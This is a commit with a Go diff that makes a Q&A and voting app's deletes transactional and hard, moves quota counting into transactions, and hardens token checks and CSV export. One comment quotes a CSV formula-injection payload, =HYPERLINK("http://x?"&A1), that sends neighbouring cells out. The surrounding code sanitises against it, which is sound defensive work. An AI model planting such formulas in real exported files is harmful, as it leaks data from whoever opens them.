fix(data): 删除改成一个事务且真删、配额与内容同事务

四类问题都出在「多次独立写入 + 失败只打日志」这个模式上。

1) 删除投票的级联没有事务(route/user/vote.go)
   选项 / 表单字段 / 提交记录 / 投票本体是 4 次独立写入,前 3 步失败只 Warn。
   中途失败会留下「选项没了但票还在」这种界面无法修复的状态 —— 重试删除时
   投票已不存在,只能报 not exist,脏数据永远留着。
   → db.Votes.DeleteWithCascade:四张表在同一事务里删完。

2) 删除其实是软删除,个人数据没真删掉
   模型都嵌了 dbutil.Model(含 DeletedAt),原来所有 Delete 都是软删:
   提交记录里参与者填写的文本、voter_ip、voter_token,以及提问里的 FromIP,
   只是「界面上看不见」,库里永久留着。用户点删除的预期不是这样。
   软删还会占住 link_token 唯一索引,删过的链接永远不能复用。
   → 删除投票与删除提问统一 Unscoped 真删;提问的追问/图片关联/配额回退
     原来也是三个独立写入(失败只 Warn),一并收进事务。

3) 配额计数会永久偏低
   「创建内容」与「quota_count+1」是两次写入,后者失败只 Warn:
   箱主看到的「已收集 7/10」偏小,达到上限后因为计数偏小实际还能继续收,
   等于定量收集被静默绕过;重置计数也校准不回来(重置是把计数清零,更脱节)。
   → 抽出 incrementQuotaTx(tx, userID, feature, delta) 作为唯一实现,
     提问 Questions.Create、私聊 CreateWithFirstMessage、投票提交
     VoteSubmissions.Create(新增 QuotaUserID)都在自己的事务里完成 +1。
   注意口径:投票的定量收集是「累计收到的票数」(提交成功时 +1),
   不是「创建了几个投票」—— 所以删除投票不回退这个计数。

4) 改写追问回答每次都发通知邮件
   箱主改措辞、补一句、修错别字都会重新保存,每次都发的话提问者会连着收到
   好几封一模一样的「您的提问有回复」。主回答那边早有 question.Answer == ""
   的判定,追问这里补齐:UpdateAnswerByID 在事务内读旧值返回 wasFirst。

顺带:
- isQuestioner 的 token 比较从 == 改为 subtle.ConstantTimeCompare,
  与 Pager 中间件里的校验同口径(== 按字节短路,可用响应时间逐字节试探)。
- CSV 导出的表头(字段名)与选项内容列补 sanitizeCSVCell。原来只有数据列走它,
  而选项名同样可能是 =HYPERLINK(...) 形式;判断也改成看 trim 后的首字符。
- 写路径的功能开关改 fail-closed:新增 db.FeatureStateOfStrict,读配置失败时
  拒绝而不是回退默认配置 —— 提问/投票的默认值是「开启」,fail-open 等于让一次
  数据库抖动绕过箱主设的关闭与定量上限。读展示仍用宽松版。

验证:全量单测(带 DB)与 go build ./... 通过;verify_round3 6/6(私聊
message_count 与实际消息数一致)、verify_p1 4/4、verify_round2 19/19、
verify_page_next 6/6、verify_chat_owner 3/3。
This commit is contained in:
tamakyi
2026-10-29 17:18:28 +08:00
parent 89e263cbd4
commit d5d25c804b
10 changed files with 287 additions and 91 deletions
+14 -4
View File
@@ -2,6 +2,7 @@ package question
import (
stdctx "context"
"crypto/subtle"
"fmt"
"unicode/utf8"
@@ -21,7 +22,11 @@ import (
// isQuestioner 判断当前请求者是否为该提问的提问者。
// 匿名提问者通过 token(URL 或表单隐藏域)验证;登录提问者通过账号 ID 验证。
func isQuestioner(ctx context.Context, question *db.Question, token string) bool {
if question.Token != "" && question.Token == token {
// 常数时间比较:与 Pager 中间件里的校验(route/question/question.go)同一口径。
// 用 == 会按字节短路,攻击者能靠响应时间逐字节试探出 token ——
// 而 token 就是「私密提问 / 尚未回答的提问」唯一的钥匙。
if question.Token != "" && token != "" &&
subtle.ConstantTimeCompare([]byte(question.Token), []byte(token)) == 1 {
return true
}
if ctx.IsLogged && question.AskerUserID != 0 && ctx.User.ID == question.AskerUserID {
@@ -192,7 +197,8 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
return
}
if err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer); err != nil {
wasFirst, err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer)
if err != nil {
if errors.Is(err, db.ErrFollowUpNotFound) {
// 同请求渲染需用 SetError(SetErrorFlash 要等下一次请求才显示)。
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "followup.errNotFound")), f)
@@ -205,9 +211,13 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
return
}
// 邮件通知提问者(留下邮箱时):复用"您的提问有了回复"模板,带 token 链接
// 邮件通知提问者(留下邮箱时):复用"您的提问有了回复"模板,带 token 链接。
//
// 只在**首次**回答时发:箱主改一次措辞、补一句、修错别字都会重新保存,
// 每次都发的话提问者会连着收到好几封一模一样的「您的提问有回复」。
// 主回答那边早就有同样的判定(question.Answer == ""),这里补齐。
shared.SafeGo(func() {
if question.ReceiveReplyEmail != "" {
if wasFirst && question.ReceiveReplyEmail != "" {
if err := mail.SendNewAnswerMail(question.ReceiveReplyEmail, pageUser.Domain, question.ID, question.Content, f.Answer, question.Token); err != nil {
logrus.WithContext(stdctx.Background()).WithError(err).Error("Failed to send follow up answer mail to questioner")
}
+16 -13
View File
@@ -388,7 +388,15 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
// 提问功能开关 / 定时 / 定量:任一条件不满足即拒绝普通提问(纵深防御,页面入口已隐藏表单)。
// 私聊请求不受影响:提问与私聊是相互独立的功能,提问关闭不应阻断已开启的私聊。
isChatRequest := f.StartChat == "true" && ctx.IsLogged
askState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
// 用严格版:读配置失败时拒绝而不是回退默认「开启」,
// 否则箱主设的关闭 / 已达上限只要赶上一次数据库抖动就被绕过。
askState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
if err != nil {
// 同请求渲染:这里用户刚写完正文,不能因为一次读配置失败就把内容丢掉。
ctx.SetInternalError(f)
ctx.Success("question/list")
return
}
if !askState.Open && !isChatRequest {
lang := i18n.Default
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
@@ -419,8 +427,13 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
return
}
// 私聊功能开关 / 定时 / 定量
chatState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
// 私聊功能开关 / 定时 / 定量(严格版,理由同上)
chatState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
if err != nil {
ctx.SetInternalError(f)
ctx.Success("question/list")
return
}
if !chatState.Open {
lang := i18n.Default
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
@@ -540,11 +553,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
return
}
// 私聊定量收集:新建会话即计一条(后续往来消息不重复计数)
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureChat, 1); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment chat quota")
}
// 请求态数据提前提取,避免 goroutine 在请求结束后访问 ctx.User
askerName := ctx.User.Name
askerEmail := ctx.User.Email
@@ -670,11 +678,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
return
}
// 提问定量收集:一条提问计一次(含私密提问);追问不重复计数
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion, 1); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment question quota")
}
if len(f.Images) > 0 {
image := f.Images[0]
if err := uploadImage(ctx, uploadImageOptions{
+31 -20
View File
@@ -1060,6 +1060,8 @@ func VoteClose(ctx context.Context) {
}
// VoteDelete 删除投票(级联删除选项、表单字段与提交记录)。
//
// 实际删除动作全部在 db.Votes.DeleteWithCascade 的一个事务里完成,且是真删(Unscoped)。
func VoteDelete(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
@@ -1068,24 +1070,24 @@ func VoteDelete(ctx context.Context) {
return
}
if err := db.VoteOptions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote options")
}
if err := db.VoteFormFields.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote form fields")
}
if err := db.VoteSubmissions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote submissions")
}
// 投票已删除:失效其结果缓存(即便竞态下仍能命中也已无意义)。
votepkg.InvalidateResultsCache(vote.ID)
if err := db.Votes.DeleteByID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote")
// 级联删除必须是一个事务:原来四步独立写入、前三步失败只打 Warn,
// 中途失败会留下「选项没了但投票记录还在」这种界面无法修复的状态 ——
// 而重试删除时投票已不存在,只能报 not exist,脏数据永远留着。
//
// 顺带修掉一个隐私问题:这些表都带软删除,原来的 Delete 全是软删,
// 提交记录里参与者填写的文本、voter_ip、voter_token 只是「界面上看不到」,
// 库里永久留着。DeleteWithCascade 对四张表统一走 Unscoped 真删。
if err := db.Votes.DeleteWithCascade(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote with cascade")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
// 删除成功后再失效缓存。放在事务之后是有意的:
// 若先删缓存而事务回滚,读请求会立刻重新算一遍并再次填进旧值。
votepkg.InvalidateResultsCache(vote.ID)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.deleted"))
ctx.Redirect("/user/questions#votes")
}
@@ -1206,13 +1208,21 @@ func VoteResults(ctx context.Context) {
ctx.Success("user/vote-results")
}
// sanitizeCSVCell 防止 CSV 公式注入:以 = + - @ 开头的单元格会被 Excel/Numbers
// 当作公式执行,前置单引号强制按纯文本处理。
// sanitizeCSVCell 防 CSV 公式注入。
//
// Excel / LibreOffice / WPS 会把以 = + - @ 开头的单元格当公式执行,
// 于是「选项名」或「参与者填的文本」里写 =HYPERLINK("http://x?"&A1) 就能在
// 打开导出文件的人机器上把邻列内容外带出去。前置单引号会让它变成纯文本
// (CSV 里单引号不会显示出来,Excel 读到也不当公式)。
//
// 判断用 trim 后的首字符:带前导空格/制表符的 =SUM(1) 在部分表格软件里
// 仍会被解析成公式,只看第一个字节会漏。
func sanitizeCSVCell(s string) string {
if s == "" {
trimmed := strings.TrimLeft(s, " \t\r\n")
if trimmed == "" {
return s
}
r := []rune(s)[0]
r := []rune(trimmed)[0]
if r == '=' || r == '+' || r == '-' || r == '@' {
return "'" + s
}
@@ -1261,9 +1271,10 @@ func VoteExportCSV(ctx context.Context) {
if vote.Type == db.VoteTypeForm {
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 字段名是箱主自己填的,同样可能是 =HYPERLINK(...) 形式。
header := []string{"提交时间"}
for _, f := range fields {
header = append(header, f.Label)
header = append(header, sanitizeCSVCell(f.Label))
}
_ = w.Write(header)
@@ -1288,7 +1299,7 @@ func VoteExportCSV(ctx context.Context) {
switch res.Type {
case db.VoteTypeSingle, db.VoteTypeMultiple:
for _, o := range res.Options {
_ = w.Write([]string{o.Option.Content, strconv.FormatInt(o.Count, 10)})
_ = w.Write([]string{sanitizeCSVCell(o.Option.Content), strconv.FormatInt(o.Count, 10)})
}
case db.VoteTypeRating:
for _, r := range res.Ratings {
@@ -1297,7 +1308,7 @@ func VoteExportCSV(ctx context.Context) {
_ = w.Write([]string{"平均分", fmt.Sprintf("%.2f", res.AvgRating)})
case db.VoteTypeRank:
for _, r := range res.Rankings {
_ = w.Write([]string{r.Option.Content, fmt.Sprintf("%.2f", r.AvgRank)})
_ = w.Write([]string{sanitizeCSVCell(r.Option.Content), fmt.Sprintf("%.2f", r.AvgRank)})
}
_ = w.Write([]string{"平均排名", fmt.Sprintf("%.2f", res.AvgRank)})
}
+12 -5
View File
@@ -617,7 +617,14 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
lang := ctxLang(ctx)
// 箱主关闭投票功能(开关 / 定时 / 定量)时拒绝参与,避免绕过页面上的禁用态直接 POST。
if voteState := db.FeatureStateOf(ctx.Request().Context(), vote.UserID, db.FeatureVote); !voteState.Open {
// 严格版:读配置失败时拒绝,避免「箱主已关闭投票 / 已达上限」被一次配置读失败绕过去。
voteState, err := db.FeatureStateOfStrict(ctx.Request().Context(), vote.UserID, db.FeatureVote)
if err != nil {
ctx.SetErrorFlash(i18n.T(lang, "feature.stateUnavailable"))
ctx.Redirect("/vote/" + vote.LinkToken)
return
}
if !voteState.Open {
ctx.SetErrorFlash(i18n.FeatureClosedMessage(lang, db.FeatureVote, voteState.Reason))
ctx.Redirect("/vote/" + vote.LinkToken)
return
@@ -711,6 +718,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
}
submission.VoterToken = voterToken
// QuotaUserID 让「票数计入箱主的定量收集」与提交本身落在同一个事务里。
submission.QuotaUserID = vote.UserID
if _, err := db.VoteSubmissions.Create(ctx.Request().Context(), *submission); err != nil {
if errors.Is(err, db.ErrVoteAlreadyVoted) {
ctx.SetErrorFlash(i18n.T(lang, "vote.page.alreadyVoted"))
@@ -728,10 +737,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
// 用 InvalidateResultsCache 会让每一票都变成下一个读请求的同步全量重算(O(N²))。
ExpireResultsCache(vote.ID)
// 定量收集:箱主级累计一份;单份投票设置上限后达到即自动结束该投票。
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), vote.UserID, db.FeatureVote, 1); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment vote feature quota")
}
// 单份投票的份数上限:达到即自动结束该投票。
// (箱主级的累计计数已由 VoteSubmissions.Create 在同一事务里 +1,这里不再重复)
if vote.QuotaLimit > 0 {
count, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil {